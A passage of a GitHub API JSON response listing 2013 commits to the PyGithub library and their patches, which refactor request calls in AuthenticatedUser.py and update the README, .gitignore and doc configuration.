ithub.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"ab626114db1c798e9269daed295d1e79c36879bb","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ab626114db1c798e9269daed295d1e79c36879bb","html_url":"https://github.com/jacquev6/PyGithub/commit/ab626114db1c798e9269daed295d1e79c36879bb"}]},{"sha":"dc610dfaac50dd5bbbd572986cda35f6729aee5b","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-09-06T08:51:50Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-09-06T08:51:50Z"},"message":"Small fixes and todos","tree":{"sha":"d54e7b47327b5bb25ba38338bfcc4a0c0a61992e","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/d54e7b47327b5bb25ba38338bfcc4a0c0a61992e"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/dc610dfaac50dd5bbbd572986cda35f6729aee5b","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/dc610dfaac50dd5bbbd572986cda35f6729aee5b","html_url":"https://github.com/jacquev6/PyGithub/commit/dc610dfaac50dd5bbbd572986cda35f6729aee5b","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/dc610dfaac50dd5bbbd572986cda35f6729aee5b/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"1d0ba7ef6461ccdd25af74bfed61d3ceb5bc926d","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1d0ba7ef6461ccdd25af74bfed61d3ceb5bc926d","html_url":"https://github.com/jacquev6/PyGithub/commit/1d0ba7ef6461ccdd25af74bfed61d3ceb5bc926d"}]},{"sha":"2081675afbfed404f6a580bce0ec363bebbfd98b","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-09-06T09:00:59Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-09-06T09:00:59Z"},"message":"Fix doc generation","tree":{"sha":"7aafacfc490987a44d3c73a72669e07d900f4ea9","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/7aafacfc490987a44d3c73a72669e07d900f4ea9"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/2081675afbfed404f6a580bce0ec363bebbfd98b","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2081675afbfed404f6a580bce0ec363bebbfd98b","html_url":"https://github.com/jacquev6/PyGithub/commit/2081675afbfed404f6a580bce0ec363bebbfd98b","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2081675afbfed404f6a580bce0ec363bebbfd98b/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"dc610dfaac50dd5bbbd572986cda35f6729aee5b","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/dc610dfaac50dd5bbbd572986cda35f6729aee5b","html_url":"https://github.com/jacquev6/PyGithub/commit/dc610dfaac50dd5bbbd572986cda35f6729aee5b"}]},{"sha":"f2feb81dae1b28af80c559db7328f2d6fe017911","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-09-05T16:56:56Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-09-06T09:01:32Z"},"message":"Add default parameters to greatly reduce code redoundancy","tree":{"sha":"075abd28eec29754d4ac96d94fa00e0ee41e9e09","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/075abd28eec29754d4ac96d94fa00e0ee41e9e09"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/f2feb81dae1b28af80c559db7328f2d6fe017911","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/f2feb81dae1b28af80c559db7328f2d6fe017911","html_url":"https://github.com/jacquev6/PyGithub/commit/f2feb81dae1b28af80c559db7328f2d6fe017911","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/f2feb81dae1b28af80c559db7328f2d6fe017911/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"2081675afbfed404f6a580bce0ec363bebbfd98b","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2081675afbfed404f6a580bce0ec363bebbfd98b","html_url":"https://github.com/jacquev6/PyGithub/commit/2081675afbfed404f6a580bce0ec363bebbfd98b"}]},{"sha":"c819580ce872f251e8ec23deee95d9fb15ca19c9","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-09-06T08:51:13Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-09-06T09:01:33Z"},"message":"Get status of Github API (#188)","tree":{"sha":"e726ab47b3248869efd35a5f989b15eece62cbe9","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/e726ab47b3248869efd35a5f989b15eece62cbe9"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/c819580ce872f251e8ec23deee95d9fb15ca19c9","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c819580ce872f251e8ec23deee95d9fb15ca19c9","html_url":"https://github.com/jacquev6/PyGithub/commit/c819580ce872f251e8ec23deee95d9fb15ca19c9","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c819580ce872f251e8ec23deee95d9fb15ca19c9/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"f2feb81dae1b28af80c559db7328f2d6fe017911","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/f2feb81dae1b28af80c559db7328f2d6fe017911","html_url":"https://github.com/jacquev6/PyGithub/commit/f2feb81dae1b28af80c559db7328f2d6fe017911"}]},{"sha":"a6597499c2f82e063074a3036d875417d5efa296","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-09-06T09:04:41Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-09-06T09:04:41Z"},"message":"Merge branch 'topic/ApiStatus' into develop","tree":{"sha":"e726ab47b3248869efd35a5f989b15eece62cbe9","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/e726ab47b3248869efd35a5f989b15eece62cbe9"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/a6597499c2f82e063074a3036d875417d5efa296","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/a6597499c2f82e063074a3036d875417d5efa296","html_url":"https://github.com/jacquev6/PyGithub/commit/a6597499c2f82e063074a3036d875417d5efa296","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/a6597499c2f82e063074a3036d875417d5efa296/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"2081675afbfed404f6a580bce0ec363bebbfd98b","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2081675afbfed404f6a580bce0ec363bebbfd98b","html_url":"https://github.com/jacquev6/PyGithub/commit/2081675afbfed404f6a580bce0ec363bebbfd98b"},{"sha":"c819580ce872f251e8ec23deee95d9fb15ca19c9","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c819580ce872f251e8ec23deee95d9fb15ca19c9","html_url":"https://github.com/jacquev6/PyGithub/commit/c819580ce872f251e8ec23deee95d9fb15ca19c9"}]}],"files":[{"sha":"fa4ed127848a478d04d033a1e4dd1330c285e120","filename":".gitignore","status":"modified","additions":5,"deletions":0,"changes":5,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/.gitignore","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/.gitignore","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/.gitignore?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -1,6 +1,7 @@\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #\n@@ -28,3 +29,7 @@ GithubCredentials.py\n /PyGithub.egg-info/\n /.coverage\n /developer.github.com/\n+\n+*.cfg\n+*.bat\n+*.py~"},{"sha":"32e67f35289f9572bab58ac717f51e36a303cd9e","filename":"README.rst","status":"modified","additions":14,"deletions":22,"changes":36,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/README.rst","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/README.rst","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/README.rst?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -7,18 +7,25 @@ Should you have any question, any remark, or if you find a bug, or if there is s\n \n PyGithub is stable. I will maintain it up to date with the API, and fix bugs if any, but I don't plan new heavy developments.\n \n+\n What's new?\n ===========\n \n+Thank you, dear stargazers!\n+---------------------------\n+\n+Starting today (September 05th, 2013), we now need more than 8 bits to store the number of `stargazers `_! Thank you so much!\n \n-`Version 1.18.0 `_ (August 21st, 2013) (Bénodet edition)\n--------------------------------------------------------------------------------------------------------------------------------\n+`Version 1.19.0 `_ (September ??th, 2013) (AKFish's edition)\n+-----------------------------------------------------------------------------------------------------------------------------------\n \n-* `Issues `_' ``repository`` attribute will never be ``None``. Thank you `stuglaser `_ for the pull request\n-* No more false assumption on `rate_limiting `_, and creation of ``rate_limiting_resettime``. Thank you `edjackson `_ for the pull request\n-* `New `_ parameters ``since`` and ``until`` to ``Repository.get_commits``. Thank you `apetresc `_ for the pull request\n-* `Catch `_ Json parsing exception for some internal server errors, and throw a better exception. Thank you `MarkRoddy `_ for the pull request\n-* `Allow `_ reversed iteration of ``PaginatedList``s. Thank you `davidbrai `_ for the pull request\n+* Implement `conditional requests `_ by the method ``GithubObject.update``. Thank you very much `akfish `_ for the pull request and your collaboration!\n+* Implement persistence of PyGithub objects: ``Github.save`` and ``Github.load``. Don't forget to ``update`` your objects after loading them, it won't decrease your rate limiting quota if nothing has changed. Again, thank you `akfish `_\n+* Implement ``Github.get_repos`` to get all public repositories\n+* Implement ``NamedUser.has_in_following``\n+* Technical change: HTTP headers are now stored in retrieved objects. This is a base for new functionalities. Thank you `akfish `_ for the pull request\n+* Use the new URL to fork gists (minor change)\n+* Use the new URL to test hooks (minor change)\n \n What's missing?\n ===============\n@@ -30,10 +37,6 @@ Github API v3 URLs not (yet) covered by PyGithub\n \n * ``/applications/:client_id/tokens/:access_token`` (GET)\n * ``/feeds`` (GET)\n-* ``/gists/:id/forks`` (POST)\n-\n- * instead, ``Gist.create_fork`` calls the old URL ``/gists/:id/fork``\n-\n * ``/meta`` (GET)\n * ``/notifications`` (PUT)\n * ``/notifications/emails`` (GET)\n@@ -54,10 +57,6 @@ Github API v3 URLs not (yet) covered by PyGithub\n \n * ``/repos/:owner/:repo/contents/:path`` (DELETE)\n * ``/repos/:owner/:repo/contents/:path`` (PUT)\n-* ``/repos/:owner/:repo/hooks/:id/tests`` (POST)\n-\n- * instead, ``Hook.test`` calls the old URL ``/repos/:owner/:repo/hooks/:id/test``\n-\n * ``/repos/:owner/:repo/notifications`` (GET)\n * ``/repos/:owner/:repo/notifications`` (PUT)\n * ``/repos/:owner/:repo/stats/code_frequency`` (GET)\n@@ -68,17 +67,10 @@ Github API v3 URLs not (yet) covered by PyGithub\n * ``/repos/:owner/:repo/subscription`` (DELETE)\n * ``/repos/:owner/:repo/subscription`` (GET)\n * ``/repos/:owner/:repo/subscription`` (PUT)\n-* ``/repositories`` (GET)\n-\n- * should be called in method ``Github.get_repos``\n-\n * ``/search/code`` (GET)\n * ``/search/issues`` (GET)\n * ``/search/repositories`` (GET)\n * ``/search/users`` (GET)\n-* ``/users/:user/following/:target_user`` (GET)\n-\n- * should be called in method ``NamedUser.has_in_following``\n \n Documentation\n ============="},{"sha":"9f856df33d80af7c4699cabf13444e7c69a121da","filename":"doc/conf.py","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/doc/conf.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/doc/conf.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/doc/conf.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -281,6 +281,7 @@\n \t\t\"../github/MainClass.py\",\n \t\t\"../github/PaginatedList.py\",\n \t\t\"../github/Requester.py\",\n+\t\t\"../github/Consts.py\",\n \t\t\"../github/__init__.py\"]\n ]\n \n@@ -318,7 +319,7 @@\n \t\t\t\tif not isProperty:\n \t\t\t\t\tassert method is None, method + \" has no :calls: section\"\n \t\t\t\t\tmethod = line.split(\"(\")[0][8:]\n-\t\t\t\t\tif method in [\"_initAttributes\", \"_useAttributes\", \"__init__\", \"__create_pull_1\", \"__create_pull_2\", \"__create_pull\", \"_hub\", \"__get_FIX_REPO_GET_GIT_REF\", \"__set_FIX_REPO_GET_GIT_REF\", \"__get_per_page\", \"__set_per_page\"]:\n+\t\t\t\t\tif method in [\"_initAttributes\", \"_useAttributes\", \"__init__\", \"__create_pull_1\", \"__create_pull_2\", \"__create_pull\", \"_hub\", \"__get_FIX_REPO_GET_GIT_REF\", \"__set_FIX_REPO_GET_GIT_REF\", \"__get_per_page\", \"__set_per_page\", \"create_from_raw_data\", \"dump\", \"load\"]:\n \t\t\t\t\t\tmethod = None\n \t\t\t\tisProperty = False\n \t\t\tif line.startswith(\" :calls: `\"):"},{"sha":"67a289c3acb10bb39a3228b80e912fb097a0db25","filename":"github/AuthenticatedUser.py","status":"modified","additions":36,"deletions":78,"changes":114,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/AuthenticatedUser.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/AuthenticatedUser.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/AuthenticatedUser.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -5,6 +5,7 @@\n # Copyright 2012 Steve English #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #\n@@ -256,8 +257,7 @@ def add_to_emails(self, *emails):\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n \"/user/emails\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n \n def add_to_following(self, following):\n@@ -269,9 +269,7 @@ def add_to_following(self, following):\n assert isinstance(following, github.NamedUser.NamedUser), following\n headers, data = self._requester.requestJsonAndCheck(\n \"PUT\",\n- \"/user/following/\" + following._identity,\n- None,\n- None\n+ \"/user/following/\" + following._identity\n )\n \n def add_to_starred(self, starred):\n@@ -283,9 +281,7 @@ def add_to_starred(self, starred):\n assert isinstance(starred, github.Repository.Repository), starred\n headers, data = self._requester.requestJsonAndCheck(\n \"PUT\",\n- \"/user/starred/\" + starred._identity,\n- None,\n- None\n+ \"/user/starred/\" + starred._identity\n )\n \n def add_to_subscriptions(self, subscription):\n@@ -297,9 +293,7 @@ def add_to_subscriptions(self, subscription):\n assert isinstance(subscription, github.Repository.Repository), subscription\n headers, data = self._requester.requestJsonAndCheck(\n \"PUT\",\n- \"/user/subscriptions/\" + subscription._identity,\n- None,\n- None\n+ \"/user/subscriptions/\" + subscription._identity\n )\n \n def add_to_watched(self, watched):\n@@ -311,9 +305,7 @@ def add_to_watched(self, watched):\n assert isinstance(watched, github.Repository.Repository), watched\n headers, data = self._requester.requestJsonAndCheck(\n \"PUT\",\n- \"/user/watched/\" + watched._identity,\n- None,\n- None\n+ \"/user/watched/\" + watched._identity\n )\n \n def create_authorization(self, scopes=github.GithubObject.NotSet, note=github.GithubObject.NotSet, note_url=github.GithubObject.NotSet, client_id=github.GithubObject.NotSet, client_secret=github.GithubObject.NotSet):\n@@ -345,10 +337,9 @@ def create_authorization(self, scopes=github.GithubObject.NotSet, note=github.Gi\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n \"/authorizations\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n- return github.Authorization.Authorization(self._requester, data, completed=True)\n+ return github.Authorization.Authorization(self._requester, headers, data, completed=True)\n \n def create_fork(self, repo):\n \"\"\"\n@@ -359,11 +350,9 @@ def create_fork(self, repo):\n assert isinstance(repo, github.Repository.Repository), repo\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n- \"/repos/\" + repo.owner.login + \"/\" + repo.name + \"/forks\",\n- None,\n- None\n+ \"/repos/\" + repo.owner.login + \"/\" + repo.name + \"/forks\"\n )\n- return github.Repository.Repository(self._requester, data, completed=True)\n+ return github.Repository.Repository(self._requester, headers, data, completed=True)\n \n def create_gist(self, public, files, description=github.GithubObject.NotSet):\n \"\"\"\n@@ -385,10 +374,9 @@ def create_gist(self, public, files, description=github.GithubObject.NotSet):\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n \"/gists\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n- return github.Gist.Gist(self._requester, data, completed=True)\n+ return github.Gist.Gist(self._requester, headers, data, completed=True)\n \n def create_key(self, title, key):\n \"\"\"\n@@ -406,10 +394,9 @@ def create_key(self, title, key):\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n \"/user/keys\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n- return github.UserKey.UserKey(self._requester, data, completed=True)\n+ return github.UserKey.UserKey(self._requester, headers, data, completed=True)\n \n def create_repo(self, name, description=github.GithubObject.NotSet, homepage=github.GithubObject.NotSet, private=github.GithubObject.NotSet, has_issues=github.GithubObject.NotSet, has_wiki=github.GithubObject.NotSet, has_downloads=github.GithubObject.NotSet, auto_init=github.GithubObject.NotSet, gitignore_template=github.GithubObject.NotSet):\n \"\"\"\n@@ -456,10 +443,9 @@ def create_repo(self, name, description=github.GithubObject.NotSet, homepage=git\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n \"/user/repos\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n- return github.Repository.Repository(self._requester, data, completed=True)\n+ return github.Repository.Repository(self._requester, headers, data, completed=True)\n \n def edit(self, name=github.GithubObject.NotSet, email=github.GithubObject.NotSet, blog=github.GithubObject.NotSet, company=github.GithubObject.NotSet, location=github.GithubObject.NotSet, hireable=github.GithubObject.NotSet, bio=github.GithubObject.NotSet):\n \"\"\"\n@@ -498,8 +484,7 @@ def edit(self, name=github.GithubObject.NotSet, email=github.GithubObject.NotSet\n headers, data = self._requester.requestJsonAndCheck(\n \"PATCH\",\n \"/user\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n self._useAttributes(data)\n \n@@ -512,11 +497,9 @@ def get_authorization(self, id):\n assert isinstance(id, (int, long)), id\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- \"/authorizations/\" + str(id),\n- None,\n- None\n+ \"/authorizations/\" + str(id)\n )\n- return github.Authorization.Authorization(self._requester, data, completed=True)\n+ return github.Authorization.Authorization(self._requester, headers, data, completed=True)\n \n def get_authorizations(self):\n \"\"\"\n@@ -537,9 +520,7 @@ def get_emails(self):\n \"\"\"\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- \"/user/emails\",\n- None,\n- None\n+ \"/user/emails\"\n )\n return data\n \n@@ -676,11 +657,9 @@ def get_key(self, id):\n assert isinstance(id, (int, long)), id\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- \"/user/keys/\" + str(id),\n- None,\n- None\n+ \"/user/keys/\" + str(id)\n )\n- return github.UserKey.UserKey(self._requester, data, completed=True)\n+ return github.UserKey.UserKey(self._requester, headers, data, completed=True)\n \n def get_keys(self):\n \"\"\"\n@@ -703,11 +682,9 @@ def get_notification(self, id):\n assert isinstance(id, str), id\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- \"/notifications/threads/\" + id,\n- None,\n- None\n+ \"/notifications/threads/\" + id\n )\n- return github.Notification.Notification(self._requester, data, completed=True)\n+ return github.Notification.Notification(self._requester, headers, data, completed=True)\n \n def get_notifications(self, all=github.GithubObject.NotSet, participating=github.GithubObject.NotSet):\n \"\"\"\n@@ -767,11 +744,9 @@ def get_repo(self, name):\n assert isinstance(name, str), name\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- \"/repos/\" + self.login + \"/\" + name,\n- None,\n- None\n+ \"/repos/\" + self.login + \"/\" + name\n )\n- return github.Repository.Repository(self._requester, data, completed=True)\n+ 